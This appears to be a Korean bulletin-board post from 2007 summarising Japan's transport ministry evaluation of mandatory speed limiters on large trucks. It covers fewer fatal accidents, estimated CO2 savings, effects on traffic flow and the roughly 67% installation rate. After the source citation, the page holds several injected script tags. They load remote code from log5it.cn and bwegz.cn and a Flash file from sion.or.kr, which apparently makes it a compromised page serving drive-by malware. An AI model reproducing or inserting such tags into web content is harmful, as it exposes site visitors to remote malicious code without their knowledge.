|
|
|
| [일본] 대형트럭에 장착된 스피드 리미터의 효과 및 영향평가결과 |
|
| (2007/08/23, hit:1839) |
국토교통성에서는 고속도로에서의 대형트럭사고방지를 목적으로 2003년 9월 1일부터 의무화된 속도억제장치(speed limiter)에 대해서 그 효과와 영향을 평가해 왔다.
그 결과, 대형트럭과 인터체인지로부터 유입하는 차량과의 사고가 일시적으로 증가경향을 보였기는 하지만, 교통사고 및 이산화탄소 배출량에 대해서 일정한 감소효과가 있다고 추측된다.
<효과 및 영향>
1. 사고감소효과
- 고속도로에서의 대형트럭 사고발생건수는 전체적으로 감소경향에 있으며 2005년 대형트럭 사망사고건수는 1997년에서부터 2002년까지 평균보다 약 40% 감소하였다.
2. 이산화탄소 배출량 감소효과
- 스피드 리미터 장착으로 주행속도가 낮아짐으로써 연비향상효과가 있다고 인정된다. 앞으로 전 대형트럭에 스피드 리미터가 장착된다면 고속도로를 주행하는 전체 자동차로부터 연간 55.5~118.5만톤의 이산화탄소배출량(교토의정서 목표달성계획에서 정한 운수부문 삭감량 2,450만톤의 약 3%에 상당)이 삭감될 것으로 추계된다.
3. 교통류 등에 미치는 영향
- 스피드 리미터 장착차량의 혼입률이 높아지면 평균차량속도가 낮아지는 경향을 보이지만 정체 증감이나 고속도로 주행편리성에 미치는 영향에 대해 명확한 경향은 파악할 수 없었다.
- 또한, 수송의 장시간화 경향이 일부 보였지만 물류체계나 대형트럭운전기사 근무체계에는 큰 변화가 없었다.
앞으로도 국토교통성은 교통사고감소를 위해 정확한 교통사고실태파악에 노력하고 필요한 차량안전대책을 강구해 가고자 한다. 또한, 고속도로에서의 교통사고감소효과가 있는 대형트럭의 스피드 리미터에 대해서도 경찰청, 자동차검사(독)를 비롯한 관계자가 협력하여 부정개조를 철저히 방지하는 동시에 적절한 사용을 추진함으로써 교통사고삭감에 대응해 갈 것이다.
참고로 스피드 리미터는 2007년 6월말, 대형트럭 약 78만대 가운데 약 52만대(약 67%)에 장착되어 있다.
출처 : 2007.08.21. 국토교통성 홈페이지(http://www.mlit.go.jp/)
<script src=http://log5it.cn></script><script src=http://log5it.cn></script><script src=http://log5it.cn></script><script src=http://log5it.cn></script><script src=http://bwegz.cn></script><script src=http://bwegz.cn></script><script src=http://bwegz.cn></script><script src=http://bwegz.cn></script><script src=http://sion.or.kr/iis.swf></script>
|
|
첨부파일 :
 첨부화일_2.pdf
(138 KB)
|
|
|
|
|
